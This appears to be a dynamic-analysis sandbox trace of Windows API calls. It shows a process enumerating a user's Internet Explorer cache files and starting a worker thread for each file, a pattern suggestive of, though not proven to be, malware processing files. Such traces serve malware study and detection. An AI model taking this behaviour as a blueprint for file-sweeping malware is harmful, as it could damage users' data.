	[0283.359] WriteFile (in: hFile=0xac4, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0283.361] CloseHandle (hObject=0xac4) returned 1
	[0283.370] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5137ebf0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x5137ebf0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0283.597] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5137ebf0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x5137ebf0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0283.918] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbdbb73b0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbdbb73b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbdc03670, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x39d41, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="28-8f3193-f30905ea[1]", cAlternateFileName="28-8F3~1")) returned 1
	[0283.918] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0283.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad0
	[0283.921] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.922] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x551dcf90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x551dcf90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5529b670, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2ecb, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="528d82a2[1].js", cAlternateFileName="528D82~1.JS")) returned 1
	[0283.922] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0283.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb1c
	[0283.924] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.925] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x454c4930, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x454c4930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x454c4930, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x135, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="AA3e3XC[2].png", cAlternateFileName="AA3E3X~2.PNG")) returned 1
	[0283.925] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0283.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb20
	[0283.927] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.928] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a1fab0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a1fab0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45a1fab0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="AA3vOVA[1].png", cAlternateFileName="AA3VOV~1.PNG")) returned 1
	[0283.928] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0283.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa80
	[0283.930] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.930] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x539049f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x539049f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x539049f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="AA42EP9[1].png", cAlternateFileName="AA42EP~1.PNG")) returned 1
	[0283.930] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0283.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa7c
	[0283.932] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.933] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x514ddbd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x514ddbd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x514ddbd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x191, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="AA54rQj[1].png", cAlternateFileName="AA54RQ~1.PNG")) returned 1
	[0283.933] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0283.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xadc
	[0284.066] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.067] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b042f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b042f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45b042f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="AA61yi9[1].png", cAlternateFileName="AA61YI~1.PNG")) returned 1
	[0284.067] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.068] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae4
	[0284.069] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.070] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52fa5350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52fa5350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fa5350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="AA8uCo4[1].png", cAlternateFileName="AA8UCO~1.PNG")) returned 1
	[0284.070] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae0
	[0284.072] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.072] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4593b270, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4593b270, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x4593b270, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x342, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="AAdAVrM[1].png", cAlternateFileName="AADAVR~1.PNG")) returned 1
	[0284.072] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xafc
	[0284.074] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.074] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf4697f0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf4697f0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf4b5ab0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x21e7, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="adServer[1].htm", cAlternateFileName="ADSERV~1.HTM")) returned 1
	[0284.075] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaec
	[0284.077] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.077] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50fa8bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="advertisement.ad[1].js", cAlternateFileName="ADVERT~1.JS")) returned 1
	[0284.077] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae8
	[0284.079] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.080] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x545d0030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545d0030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x545d0030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x40b, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="async_usersync[1]", cAlternateFileName="ASYNC_~1")) returned 1
	[0284.080] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.080] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf0
	[0284.082] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.082] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe9ff7b0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe9ff7b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe9ff7b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x534, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="async_usersync[2]", cAlternateFileName="ASYNC_~2")) returned 1
	[0284.082] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf8
	[0284.085] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.085] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe9ff7b0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe9ff7b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe9ff7b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="async_usersync[3]", cAlternateFileName="ASYNC_~3")) returned 1
	[0284.085] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf4
	[0284.087] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.088] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x454c4930, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x454c4930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x454c4930, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BB1CcOi[1].png", cAlternateFileName="BB1CCO~1.PNG")) returned 1
	[0284.088] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad8
	[0284.090] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.090] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45725f30, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45725f30, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45725f30, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x310, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BB46JmN[1].png", cAlternateFileName="BB46JM~1.PNG")) returned 1
	[0284.090] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.091] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad4
	[0284.093] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.093] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45987530, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45987530, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45987530, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x120, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BB5kJAC[1].png", cAlternateFileName="BB5KJA~1.PNG")) returned 1
	[0284.094] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb0c
	[0284.097] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.098] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53337450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53337450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53337450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BB5kTiV[1].png", cAlternateFileName="BB5KTI~1.PNG")) returned 1
	[0284.098] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb08
	[0284.099] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.100] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x456d9c70, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x456d9c70, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x456d9c70, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x18c, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BB6Ma4a[1].png", cAlternateFileName="BB6MA4~1.PNG")) returned 1
	[0284.100] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb04
	[0284.258] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.259] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe399c90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe399c90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe399c90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BB74fLs[1].png", cAlternateFileName="BB74FL~1.PNG")) returned 1
	[0284.259] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.259] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb10
	[0284.261] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.262] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6421e580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6421e580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x642446e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x333f, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBIqq8[1].jpg", cAlternateFileName="BBBIQQ~1.JPG")) returned 1
	[0284.262] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb00
	[0284.264] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.265] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x532eb190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x532eb190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x532eb190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x90b, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBL0ij[1].jpg", cAlternateFileName="BBBL0I~1.JPG")) returned 1
	[0284.265] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.266] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb18
	[0284.267] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.268] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53630fd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53630fd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53657130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBLhZX[1].jpg", cAlternateFileName="BBBLHZ~1.JPG")) returned 1
	[0284.268] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb24
	[0284.270] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.271] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53467f50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53467f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53467f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x28b9, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBBNiEo[1].jpg", cAlternateFileName="BBBNIE~1.JPG")) returned 1
	[0284.271] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.271] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb14
	[0284.273] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
